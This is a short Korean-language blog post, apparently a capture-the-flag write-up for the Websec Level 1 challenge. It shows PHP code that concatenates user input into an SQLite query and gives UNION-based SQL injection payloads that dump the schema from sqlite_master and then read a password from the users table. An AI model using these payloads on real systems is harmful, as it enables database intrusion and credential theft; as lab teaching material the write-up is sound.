Post

Websec - Level 1

Level 1



1
2
3
4
5
$userDetails = $lo->doQuery ($_POST['user_id']); 
# 입력한 값을 doQuery 객체에 보내고 리턴값을 userDetails 변수에 저장.

$query = 'SELECT id,username FROM users WHERE id=' . $injection . ' LIMIT 1';
# doQuery 객체 코드






Solution



db는 sqlite3으로 MySQL의 information_schema와 같은 역할을 하는 테이블은 sqlite_master.

컬럼으로는 몇 개가 있었는데, 필요한 컬럼은 sql컬럼(mysql의 information_schema 역할).
sql컬럼에는 테이블 정보가 들어가있다.


1
SELECT id,username FROM users WHERE id=' . $injection . ' LIMIT 1 


취약점은 이 부분에서 터진다. union을 이용한 기초적인 sql injection 문제다.

입력
1 union select 1,sql from sqlite_master --
username -> CREATE TABLE users(id int(7), username varchar(255), password varchar(255))


이런식으로 테이블 정보가 출력된다. 따라서 다시 입력값으로 1 union select 1,password from users where id=1 --을 주면 플래그가 나온다.






This post is licensed under CC BY 4.0 by the author.